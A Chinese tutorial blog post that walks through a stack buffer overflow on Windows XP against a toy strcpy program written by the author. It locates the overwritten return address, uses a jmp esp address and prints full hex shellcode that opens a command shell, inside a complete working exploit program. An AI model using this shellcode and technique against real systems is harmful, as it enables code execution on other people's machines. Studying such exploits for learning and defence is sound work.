缓冲区溢出就是这么简单

在下面的叙述中,所有的缓冲区实验均在Microsoft Visual C++ 6.0 ,Microsoft Windows XP( 版本:5.1 Build 2600 Service Pack 3 )环境下调试、测试的。

论坛的大多数朋友可能没有利用缓冲区溢出漏洞的经历,今天我给大家简单示范一下缓冲区溢出。

为了尽量简化问题,我自己准备了几个有溢出漏洞的程序。你可以在附件中找到它们。

一个程序(jc.exe)是这样的:

它的缓冲区长度是 10,你可以从 10 开始逐渐增加输入数据的长度,看一看会发生什么情况。

不过为了简化问题,我们今天溢出的目标不是它,而是下面这段程序(jc2.exe):

#include <string.h>

void MyCopy( char* str )
{
char buff[4];
strcpy( buff, str );
}

int main()
{
char input[] = "aaaaaaaaaaaa";
MyCopy ( input );
return 0;
}

这里我用 input 模拟用户输入。

大家看到,这个程序缓冲区的长度是 4,却允许用户输入任意长的数据,这是一个很白痴的错误。在实际的程序中,程序员可能会指定一个比较长的缓冲区,比如 512 字节,并想当然地认为这已经足够了。事实上,对于恶意攻击者来说,你指定多长的缓冲区都是没用的,必须对用户输入进行检查。  

错提示:"0x61616161" 指令引用的 "0x61616161" 内存。该内存不能为 "read"。

那个 61 是什么?不就是 "a" 的 ASCII 码吗?!这说明我们的输入确实覆盖了缓冲区后面的程序。

这里,你也许会问:仅仅让程序出错退出那有什么用啊?

呵呵,是没用。但你在仔细想一想出错提示……你想到了什么?

我们的输入改变了程序执行的顺序,使它尝试去读 0x61616161 的内存,结果出错了。

对!只要我们精心构造我们的数据,就能使它执行我们的代码!

为了实现这一目的,我们需要了解一些预备的知识。

首先我们需要了解一下堆栈:

堆栈一般是用来传递参数和保存子程序的局部变量,也称为后进先出(LIFO)的数据结构。堆栈的生长顺序与内存的生长顺序相反,即内存的高端是堆栈的低端,内存的低端是堆栈的高端。压栈(PUSH)指往堆栈保存数据,一般保存的是数据或数据的指针。如参数是短整型时,其数值被压入栈;参数是字符串时,指向该字符串的指针被压栈。每一个函数调用都有其栈帧,包括数据、返回地址、EBP和先前的ESP等等。

我们还需要了解一下三个重要的寄存器:

EBP:基址寄存器,其作用是保存当前线程的栈底指针。
ESP:堆栈指针寄存器,指向栈顶(即最近一次入栈数据单元的首地址)。
EIP:指令指针,存放下一个CPU指令存放的内存地址(一般代码是不能直接访问EIP的值)。

最后一点了,大家耐心一点看完啊:

当 Windows 程序发生调用时,计算机做如下操作:首先把参数压入堆栈;然后保存指令寄存存器(EIP)中的内容作为返回地址(RET);再把基址寄存器(EBP)压入堆栈;随后将当前的栈指针(ESP)拷贝到EBP做为新的基地址;最后为本地变量留出一定空间,同时将ESP减去适当的数值。

啰里八嗦的东西我就不讲了,比如 Windows 下进程的内存分配和内存结构啊,哪些情况会导致非法访问啊……统统扔一边,现在我们已经可以解释出错的原因了。

由于输入的字符串太长, 数组 buff 容纳不下,只好向堆栈的底部方向继续写 "a"。这些 "a" 覆盖了堆栈的老的元素,导致保存的 EIP 的值被覆盖成 "a"。函数调用返回时,就必然会把 "aaaa" 的 ASCII 码视作返回地址,会试图执行 0x61616161 处的指令,结果出现难以预料的后果,这样就产生了一次缓冲区溢出。

好了,我们知道了缓冲区溢出的细节,现在可以尝试让计算机执行我们的代码了。

刚才使用字符 "a"(0x61) 作为文本文件的填充内容,以确定存在缓冲区溢出。由于 EIP = 0x61616161,当我们的程序访问试图访问该地址处的指令时,会因为是无效指令而导致系统出错。

但如果所指向的地址存在可执行代码呢?程序将转移到该处执行,而这些代码是我们安排好的……

呵呵,现在我们需要确定 EIP 的值究竟存在什么地方,方法很简单,改变 Input 的长度,看看出错提示有什么不同就行了。

经测试,发现是 Input 的 9 至 12 位覆盖了原 EIP 的值。

然后就要为我们的代码找个位置了,我们最好能够把它直接放在 EIP 的后面,这样多方便。但如何才能让它被执行呢?程序读了 EIP 的之后就会转到相应的地方执行,但我们并不知道我们的代码在内存中的位置!

幸运的是,我们可以解决这一问题。别忘了这是一个堆栈啊!EIP 被读取后,ESP 就会加 4,指向下一个数据。那里不就是我们的 shellcode 吗?

这意味着,如果从第13个字符开始填上攻击代码,且使 EIP 指向一个储存着 jmp/call ESP 指令的内存地址,那么,程序就能转移到攻击代码上,从使实现攻击!

但那里才存储着 jmp/call ESP 指令呢?

中文 win200, 2003, xp 的jmp ESP 通用跳转地址为 0x7ffa4512。

好了,我再给出一段 shellcode 代码:

"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
"\x77\x1d\x80\x7c"
"\x52\x8D\x45\xF4\x50\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8"
"\xc7\x93\xbf\x77"
"\xFF\xD0"
"\x83\xC4\x12\x5D"

作用是打开一个 DOS 窗口。你可以用自己的 shellcode 替换,但要注意 shellcode 的通用性。

所以,最终完整的程序(jc3.exe)应该是:

#include "string.h"
void MyCopy( char* str )
{
char buff[4];
strcpy( buff, str );
}

int main()
{
char buffer[] =
"aaaaaaaa\x12\x45\xfa\x7f"
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
"\x77\x1d\x80\x7c"
"\x52\x8D\x45\xF4\x50\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8"
"\xc7\x93\xbf\x77"
"\xFF\xD0"
"\x83\xC4\x12\x5D";

MyCopy ( buffer );
return 0;
}

经试验,shellcode 执行成功!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值